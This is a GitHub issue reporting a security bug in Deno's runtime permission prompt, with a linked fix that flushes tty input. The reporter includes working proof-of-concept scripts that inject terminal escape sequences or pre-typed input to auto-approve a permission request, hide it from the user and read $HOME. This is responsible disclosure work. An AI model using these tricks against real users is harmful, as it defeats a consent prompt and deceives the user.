Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Runtime permissions request should fully consume STDIN before asking for user input #9750

Closed
Tracked by #11936
GoldsteinE opened this issue Mar 10, 2021 · 1 comment · Fixed by #11931
Closed
Tracked by #11936
Assignees
Labels
bug Something isn't working correctly high priority permissions related to --allow-* flags suggestion suggestions for new features (yet to be agreed)

Comments

@GoldsteinE
Copy link

A simple way to reproduce:

import { sleep } from "https://deno.land/x/sleep/mod.ts";

const buf = new Uint8Array(3);

console.log('Please, enter `long` to start long tests:');
await Deno.stdin.read(buf);
await Deno.permissions.request({ 'name': 'env' });
console.log('\x1bcFooled you! Now I know your $HOME:', Deno.env.get('HOME'))

Just entering long on the first question would be enough to auto-confirm permissions request. Clearing the screen afterwards is fast enough on my system to hide the fact of requesting permissions from user.

Another vector of attack could be tricking the terminal into producing g into STDIN (using some request escape codes). Terminal won't produce newlines, but any string starting with g is recognized as grant by Deno, so even if user enters d afterwards, it would be gd<Enter>, which is grant.

@lucacasonato lucacasonato added the permissions related to --allow-* flags label Mar 10, 2021
@kitsonk kitsonk added the suggestion suggestions for new features (yet to be agreed) label Mar 10, 2021
@GoldsteinE
Copy link
Author

GoldsteinE commented Mar 11, 2021

Second exploit (works for XTerm and probably some compatible terminals):

async function print(text: string) {
	const bytes = new TextEncoder().encode(text);
	await Deno.writeAll(Deno.stdout, bytes);
}

const buf = new Uint8Array(7);
const bigBuf = new Uint8Array(1024);

await print('\x1b[8m\x1b]5;0;?\x1b\\\x1bc\x1b[8m');
await print('\x1b[0m\x1b[HWould you please press Enter for me? \x1b[8m');
await Deno.stdin.read(buf);
await Deno.permissions.request({ 'name': 'env' });
console.log('\x1bcFooled you! Now I know your $HOME:', Deno.env.get('HOME'))
await print('Oh, and could you please press Enter again? ');
await Deno.stdin.readSync(bigBuf);

iTerm2 version:

async function print(text: string) {
	const bytes = new TextEncoder().encode(text);
	await Deno.writeAll(Deno.stdout, bytes);
}

const buf = new Uint8Array(8);
const bigBuf = new Uint8Array(1024);

await print('\x1b[8m\x1b]4;-1;?\x1b\\\x1bc\x1b[8m');
await print('\x1b[0m\x1b[HWould you please press Enter for me? \x1b[8m');
await Deno.stdin.read(buf);
await Deno.permissions.request({ 'name': 'env' });
console.log('\x1bcFooled you! Now I know your $HOME:', Deno.env.get('HOME'))
await print('Oh, and could you please press Enter again? ');
await Deno.stdin.readSync(bigBuf);

User is requested to press Enter, and when they do it, Deno permission request is auto-approved. User has no way to know that permissions were requested or granted:

https://asciinema.org/a/9rvK8ANJK0WnQc9nsrFKdC7ir

Other terminals could probably also be tricked into producing letter g to STDIN. Without consuming previous STDIN input, getting user to press Enter anywhere in the program is enough to auto-grant any permissions.

@ry ry added high priority bug Something isn't working correctly labels Mar 11, 2021
@kitsonk kitsonk self-assigned this Mar 11, 2021
bnoordhuis added a commit to bnoordhuis/deno that referenced this issue Mar 17, 2021
Flush the tty's input buffer before reading to avoid already typed
characters from being treated as the answer to the permissions prompt.

Fixes denoland#9750.
@satyarohith satyarohith mentioned this issue Jul 29, 2021
23 tasks
ry added a commit to ry/deno that referenced this issue Sep 6, 2021
@ry ry closed this as completed in #11931 Sep 9, 2021
ry added a commit that referenced this issue Sep 9, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working correctly high priority permissions related to --allow-* flags suggestion suggestions for new features (yet to be agreed)
Projects
None yet
4 participants